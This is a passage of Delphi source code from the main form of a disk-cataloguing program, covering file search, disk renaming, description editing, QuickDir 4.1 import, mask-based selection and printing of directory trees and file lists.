QI_GetCurrentKey (DBaseHandle, SaveKey, SaveAttr, SaveSelected); QI_GetFullDirPath (DBaseHandle, SavePath); SaveFile := LastSelectedFile; if FormSearchEmpty.ShowModal = mrOk then begin ///if {QGlobalOptions.FoundToNewWin} false // not necessary at all /// then FormFoundEmptyList := nil /// else FormFoundEmptyList := TFormFoundEmptyList(MainForm.GetFoundForm(foFoundEmpty)); if {QGlobalOptions.FoundToNewWin} false // not necessary at all then FormFoundEmptyList := nil //else FormFoundEmptyList := TFormFoundEmptyList(TabSheet2.FindChildControl('FormFoundEmptyList')); else FormFoundEmptyList := TFormFoundEmptyList(GetFoundForm(foFoundEmpty)); //FormFoundEmptyList := nil; if FormFoundEmptyList = nil then begin FormFoundEmptyList := TFormFoundEmptyList.Create(Self); FormFoundEmptyList.Tag := Self.Tag; FormFoundEmptyList.DBaseWindow := Self; FormFoundEmptyList.Parent:=TabSheet2; FormFoundEmptyList.Align:=alClient; end else FormFoundEmptyList.BringToFront; FormFoundEmptyList.Tag:=1; FoundTitle := Caption + lsListOfFreeSpace; ///FormFoundEmptyList.Caption := FoundTitle; FormFoundEmptyList.GetList(DBaseHandle); FormFoundEmptyList.Caption := FoundTitle + ' , '+IntToStr(FormFoundEmptyList.DrawGrid.RowCount-1); end; JumpTo(SaveKey, SavePath, SaveFile); except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- // Search for the files selected in the file panel procedure TMainForm.SearchSelected; var FormFoundFileList: TFormFoundFileList; FoundTitle : ShortString; SaveKey : ShortString; SaveSelected: Integer; SaveAttr : Word; SavePath : ShortString; SaveFile : ShortString; TmpS : ShortString; i : Integer; begin if FormIsClosed then exit; try with FormSearchFileDlg.DlgData do begin MaxLines := 10000; CaseSensitive:= false ; SearchIn := siWholedBase; ScanFileNames:= true; ScanDirNames := true; ScanDirLevel := -1; ScanDesc := false; MoreOptions := false; AddWildCards := false; AsPhrase := false; Mask := GetSelectedFileName; if pos(' ', Mask) > 0 then Mask := '"' + Mask + '" ' else Mask := Mask + ' '; for i := 0 to pred(FilesList.Count) do with TOneFileLine(FilesList.Objects[i]) do if ExtAttr and eaSelected <> 0 then begin TmpS := POneFile^.LongName + POneFile^.Ext; if pos(' ', TmpS) > 0 then TmpS := '"' + TmpS + '" ' else TmpS := TmpS + ' '; { --- ifdef DELPHI1} if (length(TmpS) + length(Mask)) < 255 then Mask := Mask + TmpS else begin Application.MessageBox(lsTooManyFilesSelected, lsNotification, mb_OK or mb_IconInformation); break; end; end; end; FormSearchName.DBaseHandle := DBaseHandle; QI_GetCurrentKey (DBaseHandle, SaveKey, SaveAttr, SaveSelected); QI_GetFullDirPath (DBaseHandle, SavePath); SaveFile := LastSelectedFile; if FormSearchName.ShowModal = mrOk then begin ///if QGlobalOptions.FoundToNewWin /// then FormFoundFileList := nil /// else FormFoundFileList := TFormFoundFileList(MainForm.GetFoundForm(foFoundFile)); if QGlobalOptions.FoundToNewWin then FormFoundFileList := nil //else FormFoundFileList := TFormFoundFileList(TabSheet2.FindChildControl('FormFoundFileList')); else FormFoundFileList := TFormFoundFileList(GetFoundForm(foFoundFile)); //FormFoundFileList := nil; if FormFoundFileList = nil then begin FormFoundFileList := TFormFoundFileList.Create(Self); FormFoundFileList.Tag := Self.Tag; FormFoundFileList.DBaseWindow := Self; FormFoundFileList.Parent:=TabSheet2; FormFoundFileList.Align:=alClient; FormFoundFileList.BorderIcons:=[biSystemMenu]; end else FormFoundFileList.BringToFront; FormFoundFileList.Tag:=1; FoundTitle := Caption + ': ' + FormSearchFileDlg.DlgData.Mask; if length(FoundTitle) > 30 then FoundTitle := ShortCopy(FoundTitle, 1, 26) + ' ...'; ///FormFoundFileList.Caption := FoundTitle; FormFoundFileList.GetList(DBaseHandle); FormFoundFileList.Caption := FoundTitle + ' , '+IntToStr(FormFoundFileList.DrawGrid.RowCount-1); end; JumpTo(SaveKey, SavePath, SaveFile); except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- // Changes the disk name in the database procedure TMainForm.ChangeDiskName; var Key : ShortString; Attr : Word; KeyPos: Integer; TmpKey : ShortString; TmpKeyPos: Integer; begin if FormIsClosed then exit; try if not QI_GetCurrentKey(DBaseHandle, Key, Attr, KeyPos) then exit; if Attr and kaDeleted <> 0 then exit; with FormRenameDlg do begin Edit1.Text := Key; Caption := lsDiskNameChange; Label2.Caption := ''; if ShowModal <> mrOK then exit; TmpKey := Edit1.Text; while (AnsiUpperCase(Key) <> AnsiUpperCase(TmpKey)) and QI_KeySearch(DBaseHandle, TmpKey, TmpKeyPos) do begin Caption := lsNameMustBeUnique; Edit1.Text := TmpKey; Label2.Caption := lsDiskWithName + TmpKey + lsAlreadyExists; if ShowModal <> mrOK then exit; TmpKey := Edit1.Text; end; QI_RenameDBaseEntry(DBaseHandle, KeyPos, TmpKey, false); QI_ClearTreeStruct(DBaseHandle); QI_GoToKey(DBaseHandle, Key); end; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- // Shows the window for editing the description procedure TMainForm.EditDescription; var Path, FileName: ShortString; i : Integer; Buf : PChar; Len : longint; FilePointer: TFilePointer; begin if FormIsClosed then exit; try if QGlobalOptions.FileDisplayType = fdBrief then i := DrawGridFiles.Selection.Left*DrawGridFiles.RowCount + DrawGridFiles.Selection.Top else i := pred(DrawGridFiles.Row); if i < FilesList.Count then with TOneFileLine(FilesList.Objects[i]) do begin if POneFile^.LongName = '..' then begin Application.MessageBox(lsDescriptionCannotBeByParentDir, lsNotification, mb_OK or mb_IconInformation); exit; end; FileName := POneFile^.LongName + POneFile^.Ext; QI_GetFullDirPath (DBaseHandle, Path); if ShortCopy(Path, length(Path), 1) <> '\' then Path := Path + '\'; with FormDescription do begin MemoDesc.ReadOnly := DBaseIsReadOnly; MenuExitAndSave.Enabled := not DBaseIsReadOnly; ButtonOK.Enabled := not DBaseIsReadOnly; LabelFile.Caption := Path + FileName; QI_LoadDescToBuf(DBaseHandle, POneFile^.Description, Buf); MemoDesc.SetTextBuf(Buf); StrDispose(Buf); if (ShowModal = mrOK) and MemoDesc.Modified and not DBaseIsReadOnly then begin Len := MemoDesc.GetTextLen; if Len = 0 then begin FilePointer := POneFile^.SelfFilePos; if not QI_SaveBufToDesc(DBaseHandle, FilePointer, nil) then Application.MessageBox(lsDescriptionCannotBeSaved, lsError, mb_OK or mb_IconStop) else begin POneFile^.Description := FilePointer; QI_UpdateDescInCurList(DBaseHandle, POneFile); end; end else begin Buf := StrAlloc(Len + 1); MemoDesc.GetTextBuf(Buf, Len + 1); FilePointer := POneFile^.SelfFilePos; if not QI_SaveBufToDesc(DBaseHandle, FilePointer, Buf) then Application.MessageBox(lsDescriptionCannotBeSaved, lsError, mb_OK or mb_IconStop) else begin POneFile^.Description := FilePointer; QI_UpdateDescInCurList(DBaseHandle, POneFile); end; StrDispose(Buf); end; end; end; end; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- // Import from QuickDir 4.1 - predecessor of DiskBase procedure TMainForm.ScanQDir4Database; var TmpKey : ShortString; SaveKey : ShortString; SaveSelected : Integer; SaveAttr : Word; SavePath : ShortString; SaveFile : ShortString; begin SaveKey := ''; SaveAttr := 0; SaveSelected := 0; SavePath := ''; SaveFile := LastSelectedFile; if FormIsClosed then exit; if DBaseIsReadOnly then exit; QI_ClearSearchCol(DBaseHandle); QI_GetCurrentKey (DBaseHandle, SaveKey, SaveAttr, SaveSelected); QI_GetFullDirPath (DBaseHandle, SavePath); FormScanProgress.DBaseHandle := DBaseHandle; FormScanProgress.Drive := 'X'; FormScanProgress.ScanningQDir4 := true; FormScanProgress.ShowModal; if not FormScanProgress.Success then begin QI_ClearTreeStruct(DBaseHandle); QI_ClearSavedTreeStruct(DBaseHandle); JumpTo(SaveKey, SavePath, SaveFile); end else begin QI_ClearTreeStruct(DBaseHandle); QI_ClearSavedTreeStruct(DBaseHandle); QI_GoToKey(DBaseHandle, TmpKey); end; end; //-------------------------------------------------------------------- // Import from QuickDir 4.1 - predecessor of DiskBase procedure TMainForm.ImportFromQDir41(FileName: ShortString); var Response: integer; begin {$ifdef CZECH} if FormIsClosed then exit; if DBaseIsReadOnly then exit; Response := Application.MessageBox(lsImportConversion, lsImportFrom4, MB_YESNOCANCEL or MB_DEFBUTTON2); if Response = IDCANCEL then exit; QI_SetQDir4CharConversion (Response = IDYES); try PanelsLocked := true; QI_OpenQDir4Database(FileName); ScanQDir4Database; QI_CloseQDir4Database; PanelsLocked := false; UpdateDiskWindow; ReloadTree; ReloadFileCol(''); except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; {$endif} end; //-------------------------------------------------------------------- // Jumps one level up in the tree to the parent of the current file procedure TMainForm.GoToParent; var i : Integer; begin if FormIsClosed then exit; try for i := 0 to pred(FilesList.Count) do with TOneFileLine(FilesList.Objects[i]) do if FileType = ftParent then begin DirToScrollHandle := QI_GetCurDirCol(DBaseHandle); if (POneFile^.Attr and faDirectory <> 0) and (POneFile^.SubDirCol <> nil) then begin QI_SetCurDirCol (DBaseHandle, POneFile^.SubDirCol); QI_UpdateFileCol(DBaseHandle); UpdateHeader; JumpInOutline(POneFile^.SubDirCol); end; exit; end; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- // called when the user selects Mask Select from the Main Form menu procedure TMainForm.DoSelection; begin {if (ActiveControl is TDrawGrid) then begin if TDrawGrid(ActiveControl).Tag = 1 then SelectDisksOrFiles(true); if TDrawGrid(ActiveControl).Tag = 3 then SelectDisksOrFiles(false); end;} If ActivePanel = 1 then SelectDisksOrFiles(true); if ActivePanel = 3 then SelectDisksOrFiles(false); end; //-------------------------------------------------------------------- // called when the user selects Unselect All from the Main Form menu procedure TMainForm.UnselectAll; begin { if (ActiveControl is TDrawGrid) then begin if TDrawGrid(ActiveControl).Tag = 1 then UnselectDisksOrFiles(true); if TDrawGrid(ActiveControl).Tag = 3 then UnselectDisksOrFiles(false); end; } if ActivePanel = 1 then UnselectDisksOrFiles(true); if ActivePanel = 3 then UnselectDisksOrFiles(false); end; //-------------------------------------------------------------------- // called when the user selects Select All from the Main Form menu procedure TMainForm.SelectAll; begin if (ActiveControl is TDrawGrid) then begin if TDrawGrid(ActiveControl).Tag = 1 then SelectAllDisksOrFiles(true); if TDrawGrid(ActiveControl).Tag = 3 then SelectAllDisksOrFiles(false); end; //if FPanel = 1 then SelectAllDisksOrFiles(true); //if FPanel = 3 then SelectAllDisksOrFiles(false); end; procedure TMainForm.MakeCopy; begin if (ActiveControl is TDrawGrid) then begin if TDrawGrid(ActiveControl).Tag = 1 then MakeCopyDisks; if TDrawGrid(ActiveControl).Tag = 3 then MakeCopyFiles; end; end; //-------------------------------------------------------------------- // Called from the Main From to print the selected panel procedure TMainForm.DoPrint(PrintWhat: TPrintWhat); begin case PrintWhat of prSelectedPanel: begin if (ActiveControl is TDrawGrid) then begin if TDrawGrid(ActiveControl).Tag = 1 then MakePrintDisk; if TDrawGrid(ActiveControl).Tag = 3 then MakePrintFiles; end; if (ActiveControl is TTreeView) then if TTreeView(ActiveControl).Tag = 2 then MakePrintTree; end; prDisks: MakePrintDisk; prTree: MakePrintFiles; prFiles: MakePrintFiles; end; end; //-------------------------------------------------------------------- // Exports to the text format procedure TMainForm.ExportToOtherFormat; var SaveKey : ShortString; SaveSelected: Integer; SaveAttr : Word; SavePath : ShortString; SaveFile : ShortString; begin if FormIsClosed then exit; try QI_GetCurrentKey (DBaseHandle, SaveKey, SaveAttr, SaveSelected); QI_GetFullDirPath (DBaseHandle, SavePath); SaveFile := LastSelectedFile; FormDiskExport.DBaseHandle := DBaseHandle; FormDiskExport.ShowModal; JumpTo(SaveKey, SavePath, SaveFile); except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- // Calculates, which file is selected in the file panel and returns its name+ext function TMainForm.GetSelectedFileName: ShortString; var i: Integer; begin Result := ''; if FormIsClosed then exit; if FilesList.Count = 0 then exit; if QGlobalOptions.FileDisplayType = fdBrief then i := DrawGridFiles.Selection.Left*DrawGridFiles.RowCount + DrawGridFiles.Selection.Top else i := pred(DrawGridFiles.Selection.Top); if (i >= 0) and (i < FilesList.Count) then with TOneFileLine(FilesList.Objects[i]).POneFile^ do Result := LongName + Ext; end; //-------------------------------------------------------------------- // Updates the size of the sections of the bottom header (containing the status line) procedure TMainForm.ResizeHeaderBottom; var SizeNeeded: Integer; begin SizeNeeded := HeaderTop.Sections[0].Width+HeaderTop.Sections[1].Width; if SizeNeeded < StatusSection0Size then SizeNeeded := StatusSection0Size; ///HeaderBottom.Sections[0].Width := SizeNeeded; StatusBar.Panels[0].Width := SizeNeeded; end; //-------------------------------------------------------------------- // Displays the dislaog box for selecting disks/files by a mask procedure TMainForm.SelectDisksOrFiles(Disk: boolean); var i, j : Integer; MaskCol: TPQCollection; Key : ShortString; Attr : Word; Matching: boolean; begin if Disk then begin FormMaskSelect.Caption := lsSelectionOfDisks; FormMaskSelect.LabelMask.Caption := lsEnterMaskForSelectionOfDisks; FormMaskSelect.ComboBoxMaskFiles.Visible := false; FormMaskSelect.ComboBoxMaskDisks.Visible := true; FormMaskSelect.ActiveControl := FormMaskSelect.ComboBoxMaskDisks; end else begin FormMaskSelect.Caption := lsSelectionOfFiles; FormMaskSelect.LabelMask.Caption := lsEnterMaskForSelectionOfFiles; FormMaskSelect.ComboBoxMaskDisks.Visible := false; FormMaskSelect.ComboBoxMaskFiles.Visible := true; FormMaskSelect.ActiveControl := FormMaskSelect.ComboBoxMaskFiles; end; if FormMaskSelect.ShowModal <> mrOK then exit; MaskCol := New(TPQCollection, Init(30, 50)); try if Disk then begin if FormMaskSelect.ComboBoxMaskDisks.Text = '' then FormMaskSelect.ComboBoxMaskDisks.Text := '*'; TokenFindMask(FormMaskSelect.ComboBoxMaskDisks.Text, MaskCol, false, false, false); for i := 0 to pred(Disks.RowCount) do begin if (QI_GetKeyAt(DBaseHandle, Key, Attr, i)) and (Attr and kaSelected = 0) then begin Matching := false; for j := 0 to pred(MaskCol^.Count) do if MaskCompare (GetPQString(POneMask(MaskCol^.At(j))^.MaskName), Key, false, false) then begin Matching := true; break; end; if Matching then begin QI_SetSelectionFlag(DBaseHandle, true, i); end; end; end; Disks.Repaint; end else begin if FormMaskSelect.ComboBoxMaskFiles.Text = '' then FormMaskSelect.ComboBoxMaskFiles.Text := '*'; TokenFindMask(FormMaskSelect.ComboBoxMaskFiles.Text, MaskCol, false, false, false); for i := 0 to pred(FilesList.Count) do with TOneFileLine(FilesList.Objects[i]) do begin Matching := false; for j := 0 to pred(MaskCol^.Count) do if MaskCompare (GetPQString(POneMask(MaskCol^.At(j))^.MaskName), POneFile^.LongName + POneFile^.Ext, false, false) then begin Matching := true; break; end; if Matching then ExtAttr := ExtAttr or eaSelected; end; DrawGridFiles.Repaint; end; if MaskCol <> nil then Dispose(MaskCol, Done); MaskCol := nil; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- // Selects all disks or files procedure TMainForm.SelectAllDisksOrFiles(Disk: boolean); var i: Integer; AlreadySelected: boolean; begin try if Disk then begin if UsePersistentBlocks then begin {first try if all files are already selected} AlreadySelected := true; for i := 0 to pred(Disks.RowCount) do if not QI_GetSelectionFlag(DBaseHandle, i) then begin AlreadySelected := false; break; end; for i := 0 to pred(Disks.RowCount) do QI_SetSelectionFlag(DBaseHandle, not AlreadySelected, i); end else begin for i := 0 to pred(Disks.RowCount) do QI_SetSelectionFlag(DBaseHandle, true, i); end; Disks.Repaint; end else begin if UsePersistentBlocks then begin AlreadySelected := true; for i := 0 to pred(FilesList.Count) do with TOneFileLine(FilesList.Objects[i]) do if (ExtAttr and eaSelected) = 0 then begin AlreadySelected := false; break; end; if AlreadySelected then for i := 0 to pred(FilesList.Count) do with TOneFileLine(FilesList.Objects[i]) do ExtAttr := ExtAttr and not eaSelected else for i := 0 to pred(FilesList.Count) do with TOneFileLine(FilesList.Objects[i]) do ExtAttr := ExtAttr or eaSelected; end else begin for i := 0 to pred(FilesList.Count) do with TOneFileLine(FilesList.Objects[i]) do ExtAttr := ExtAttr or eaSelected; end; DrawGridFiles.Repaint; end; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- // Unselects all disks or files procedure TMainForm.UnselectDisksOrFiles(Disk: boolean); var i: Integer; begin try if Disk then begin for i := 0 to pred(Disks.RowCount) do QI_SetSelectionFlag(DBaseHandle, false, i); Disks.Repaint; end else begin for i := 0 to pred(FilesList.Count) do with TOneFileLine(FilesList.Objects[i]) do ExtAttr := ExtAttr and not eaSelected; DrawGridFiles.Repaint; end; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- // Prints the disk procedure TMainForm.MakePrintDisk; var SaveKey : ShortString; SaveSelected: Integer; SaveAttr : Word; SavePath : ShortString; SaveFile : ShortString; begin if FormIsClosed then exit; FormDiskPrint.DBaseHandle := DBaseHandle; try QI_GetCurrentKey (DBaseHandle, SaveKey, SaveAttr, SaveSelected); QI_GetFullDirPath (DBaseHandle, SavePath); SaveFile := LastSelectedFile; FormDiskPrint.ShortDBaseFileName := ShortDBaseFileName; FormDiskPrint.ShowModal; JumpTo(SaveKey, SavePath, SaveFile); except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //-------------------------------------------------------------------- // Prints the tree procedure TMainForm.MakePrintTree; var AmountPrintedPx: Integer; PageCounter : Integer; ///TreeList : TQStringList; TreeList : TStringList; MWidthPx : Integer; ColumnWidthPx: Integer; Column : Integer; NoOfColumns : Integer; //------ function CanPrintOnThisPage: boolean; begin Result := true; if PrintDialog.PrintRange <> prPageNums then exit; with PrintDialog do if (PageCounter >= FromPage) and (PageCounter <= ToPage) then exit; Result := false; end; //------ procedure GoToNewPage; begin if PrintDialog.PrintRange <> prPageNums then ///QPrinterNewPage else begin with PrintDialog do if (PageCounter >= FromPage) and (PageCounter < ToPage) then ///QPrinterNewPage; end; end; //------ procedure PrintHeaderAndFooter; var OutRect : TRect; S, S1 : ShortString; Attr : Word; TmpIndex: Integer; begin if FormAbortPrint.Aborted then exit; {$ifdef mswindows} if CanPrintOnThisPage then begin QPrinterSaveAndSetFont(pfsItalic); // header OutRect.Left := LeftPrintAreaPx; OutRect.Right := RightPrintAreaPx; OutRect.Top := TopPrintAreaPx; OutRect.Bottom := OutRect.Top + LineHeightPx; S := QGlobalOptions.PrintHeader; if S = '' then S := lsDatabase + ShortDBaseFileName; QPrinterTextRect(OutRect, OutRect.Left, OutRect.Top, S); QI_GetCurrentKey(DBaseHandle, S1, Attr, TmpIndex); S1 := lsDisk1 + S1; OutRect.Left := OutRect.Right - QPrinterGetTextWidth(S1); if OutRect.Left < (LeftPrintAreaPx + QPrinterGetTextWidth(S)) then OutRect.Left := LeftPrintAreaPx + QPrinterGetTextWidth(S) + 3*YPxPer1mm; QPrinterTextRect(OutRect, OutRect.Left, OutRect.Top, S1); QPrinterSetLineWidth(MaxI(1, YPxPer1cm div 50)); {0.2 mm}; QPrinterMoveTo(LeftPrintAreaPx, OutRect.Bottom + YPxPer1mm); QPrinterLineTo(RightPrintAreaPx, OutRect.Bottom + YPxPer1mm); // footer OutRect.Left := LeftPrintAreaPx; OutRect.Bottom := BottomPrintAreaPx; OutRect.Top := OutRect.Bottom - LineHeightPx; QPrinterTextRect(OutRect, OutRect.Left, OutRect.Top, TimePrinted); S := lsPage + IntToStr(PageCounter); OutRect.Left := OutRect.Right - QPrinterGetTextWidth(S); QPrinterTextRect(OutRect, OutRect.Left, OutRect.Top, S); QPrinterSetLineWidth(MaxI(1, YPxPer1cm div 50)); {0.2 mm}; QPrinterMoveTo(LeftPrintAreaPx, OutRect.Top - YPxPer1mm); QPrinterLineTo(RightPrintAreaPx, OutRect.Top - YPxPer1mm); QPrinterRestoreFont; end; {$endif} end; //------ procedure PrintOneLine(Index: Integer); var OneTreeLine : TOneTreeLine; OutRect : TRect; j : Integer; begin if FormAbortPrint.Aborted then exit; {$ifdef mswindows} OneTreeLine := TOneTreeLine(TreeList.Objects[Index]); OutRect.Top := AmountPrintedPx; OutRect.Right := LeftPrintAreaPx + succ(Column)*ColumnWidthPx; OutRect.Bottom := OutRect.Top + LineHeightPx; if CanPrintOnThisPage then begin QPrinterSetLineWidth(MaxI(1, YPxPer1cm div 100)); {0.1 mm}; OutRect.Left := LeftPrintAreaPx + Column * ColumnWidthPx + MWidthPx div 2; for j := 1 to length(OneTreeLine.Line) do begin case OneTreeLine.Line[j] of '+': begin QPrinterMoveTo(OutRect.Left, OutRect.Top); QPrinterLineTo(OutRect.Left, OutRect.Bottom); QPrinterMoveTo(OutRect.Left, OutRect.Top + LineHeightPx div 2); QPrinterLineTo(OutRect.Left + MWidthPx, OutRect.Top + LineHeightPx div 2); end; 'L': begin QPrinterMoveTo(OutRect.Left, OutRect.Top); QPrinterLineTo(OutRect.Left, OutRect.Top + LineHeightPx div 2); QPrinterLineTo(OutRect.Left + MWidthPx, OutRect.Top + LineHeightPx div 2); end; 'I': begin QPrinterMoveTo(OutRect.Left, OutRect.Top); QPrinterLineTo(OutRect.Left, OutRect.Bottom); end; end; inc(OutRect.Left, 2*MWidthPx); end; dec(OutRect.Left, MWidthPx div 2); QPrinterTextRect(OutRect, OutRect.Left, OutRect.Top, TreeList.Strings[Index]); end; inc(AmountPrintedPx, LineHeightPx); {$endif} end; //------ var i, j: Integer; TmpS: array[0..256] of char; Copies: Integer; LastLine: string[MaxTreeLevels]; OneTreeLine, NextTreeLine: TOneTreeLine; StartLevel, StartItem: LongInt; MaxTextLengthPx: LongInt; MaxLevel : LongInt; TmpInt : LongInt; begin if PrintDialog.Execute then begin {$ifdef mswindows} QPrinterReset(QGlobalOptions); AmountPrintedPx := TopPrintAreaPx + 2*LineHeightPx; MWidthPx := QPrinterGetTextWidth('M'); TreeList := TQStringList.Create; MaxTextLengthPx := 0; MaxLevel := 0; with OutlineTree do begin if PrintDialog.PrintRange = prSelection then StartItem := SelectedItem else StartItem := 1; if StartItem = 0 then StartItem := 1; StartLevel := Items[StartItem].Level; for i := StartItem to ItemCount do begin if (i > StartItem) and (PrintDialog.PrintRange = prSelection) and (longint(Items[i].Level) <= StartLevel) then break; OneTreeLine := TOneTreeLine.Create; OneTreeLine.Level := Items[i].Level - 1; fillchar(OneTreeLine.Line, sizeof(OneTreeLine.Line), ' '); OneTreeLine.Line[0] := char(OneTreeLine.Level); TreeList.AddObject(Items[i].Text, OneTreeLine); TmpInt := QPrinterGetTextWidth(Items[i].Text); if TmpInt > MaxTextLengthPx then MaxTextLengthPx := TmpInt; if OneTreeLine.Level > MaxLevel then MaxLevel := OneTreeLine.Level; end; end; FillChar(LastLine, sizeof(LastLine), ' '); for i := pred(TreeList.Count) downto 0 do begin OneTreeLine := TOneTreeLine(TreeList.Objects[i]); for j := 1 to OneTreeLine.Level-1 do if (LastLine[j]='I') or (LastLine[j]='L') then OneTreeLine.Line[j] := 'I'; if OneTreeLine.Level > 0 then OneTreeLine.Line[OneTreeLine.Level] := 'L'; LastLine := OneTreeLine.Line; for j := length(LastLine) + 1 to MaxTreeLevels do LastLine[j] := ' '; end; for i := 0 to TreeList.Count-2 do begin OneTreeLine := TOneTreeLine(TreeList.Objects[i]); NextTreeLine := TOneTreeLine(TreeList.Objects[i+1]); j := OneTreeLine.Level; if j > 0 then if (OneTreeLine.Line[j]='L') and ((NextTreeLine.Line[j]='I') or (NextTreeLine.Line[j]='L')) then OneTreeLine.Line[j] := '+'; end; MaxTextLengthPx := MaxTextLengthPx + MaxLevel*MWidthPx*2 + 3*XPxPer1mm; NoOfColumns := (RightPrintAreaPx - LeftPrintAreaPx) div MaxTextLengthPx; if NoOfColumns < 1 then NoOfColumns := 1; ColumnWidthPx := (RightPrintAreaPx - LeftPrintAreaPx) div NoOfColumns; Column := 0; FormAbortPrint.LabelProgress.Caption := lsPreparingToPrint; FormAbortPrint.Show; MainForm.Enabled :=false; try Application.ProcessMessages; for Copies := 1 to PrintDialog.Copies do begin PageCounter := 1; QPrinterBeginDoc(lsQuickDir); PrintHeaderAndFooter; FormAbortPrint.LabelProgress.Caption := lsPrintingPage + IntToStr(PageCounter); for i := 0 to pred(TreeList.Count) do begin Application.ProcessMessages; if FormAbortPrint.Aborted then break; PrintOneLine(i); if (AmountPrintedPx + 3*LineHeightPx) > BottomPrintAreaPx then begin if Column < pred(NoOfColumns) then begin AmountPrintedPx := TopPrintAreaPx + 2*LineHeightPx; inc(Column); end else begin if not FormAbortPrint.Aborted then begin GoToNewPage; Column := 0; inc(PageCounter); end; FormAbortPrint.LabelProgress.Caption := lsPrintingPage + IntToStr(PageCounter); Application.ProcessMessages; AmountPrintedPx := TopPrintAreaPx + 2*LineHeightPx; PrintHeaderAndFooter; end; end; end; QPrinterEndDoc; if FormAbortPrint.Aborted then break; end; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; on E: Exception do Application.MessageBox(StrPCopy(TmpS, E.Message), lsError, mb_Ok or mb_IconExclamation); end; TreeList.Free; MainForm.Enabled :=true; FormAbortPrint.Hide; {$endif} end; end; //-------------------------------------------------------------------- // Prints files procedure TMainForm.MakePrintFiles; const NoOfColumns = 4; var AmountPrintedPx: Integer; PageCounter: Integer; ColWidthsPx: array [0..NoOfColumns-1] of Integer; TimeWidthPx: Integer; // Disk, Dir, Name, Size, Time, Desc //------ function CanPrintOnThisPage: boolean; begin Result := true; if PrintDialog.PrintRange <> prPageNums then exit; with PrintDialog do if (PageCounter >= FromPage) and (PageCounter <= ToPage) then exit; Result := false; end; //------ procedure GoToNewPage; begin if PrintDialog.PrintRange <> prPageNums then ///QPrinterNewPage else begin with PrintDialog do if (PageCounter >= FromPage) and (PageCounter < ToPage) then ///QPrinterNewPage; end; end; //------ procedure PrintHeaderAndFooter; var OutRect : TRect; S, S1 : ShortString; Attr : Word; TmpIndex: Integer; begin if FormAbortPrint.Aborted then exit; {$ifdef mswindows} QPrinterSaveAndSetFont(pfsItalic); // header OutRect.Left := LeftPrintAreaPx; OutRect.Right := RightPrintAreaPx; OutRect.Top := TopPrintAreaPx; OutRect.Bottom := OutRect.Top + LineHeightPx; if CanPrintOnThisPage then begin S := QGlobalOptions.PrintHeader; if S = '' then begin QI_GetCurrentKey(DBaseHandle, S, Attr, TmpIndex); S := lsDisk1 + S; end; QPrinterTextRect(OutRect, OutRect.Left, OutRect.Top, S); QI_GetFullDirPath(DBaseHandle, S1); S1 := lsFolder2 + S1; OutRect.Left := OutRect.Right - QPrinterGetTextWidth(S1); if OutRect.Left < (LeftPrintAreaPx + QPrinterGetTextWidth(S)) then OutRect.Left := LeftPrintAreaPx + QPrinterGetTextWidth(S) + 3*YPxPer1mm; QPrinterTextRect(OutRect, OutRect.Left, OutRect.Top, S1); QPrinterSetLineWidth(MaxI(1, YPxPer1cm div 50)); {0.2 mm}; QPrinterMoveTo(LeftPrintAreaPx, OutRect.Bottom + YPxPer1mm); QPrinterLineTo(RightPrintAreaPx, OutRect.Bottom + YPxPer1mm); end; // footer OutRect.Left := LeftPrintAreaPx; OutRect.Bottom := BottomPrintAreaPx; OutRect.Top := OutRect.Bottom - LineHeightPx; if CanPrintOnThisPage then begin QPrinterTextRect(OutRect, OutRect.Left, OutRect.Top, TimePrinted); S := lsPage + IntToStr(PageCounter); OutRect.Left := OutRect.Right - QPrinterGetTextWidth(S); QPrinterTextRect(OutRect, OutRect.Left, OutRect.Top, S); QPrinterSetLineWidth(MaxI(1, YPxPer1cm div 50)); {0.2 mm}; QPrinterMoveTo(LeftPrintAreaPx, OutRect.Top - YPxPer1mm); QPrinterLineTo(RightPrintAreaPx, OutRect.Top - YPxPer1mm); end; QPrinterRestoreFont; {$endif} end; //------ procedure PrintColumnNames; var OutRect : TRect; S : ShortString; i : Integer; StartX : Integer; begin if FormAbortPrint.Aborted then exit; {$ifdef mswindows} QPrinterSaveAndSetFont(pfsBold); OutRect.Left := LeftPrintAreaPx; OutRect.Top := AmountPrintedPx; OutRect.Bottom := OutRect.Top + LineHeightPx; for i := 0 to NoOfColumns-1 do if CanPrintOnThisPage then begin OutRect.Right := OutRect.Left + ColWidthsPx[i] - 3*XPxPer1mm; if (OutRect.Right > RightPrintAreaPx) or (i = 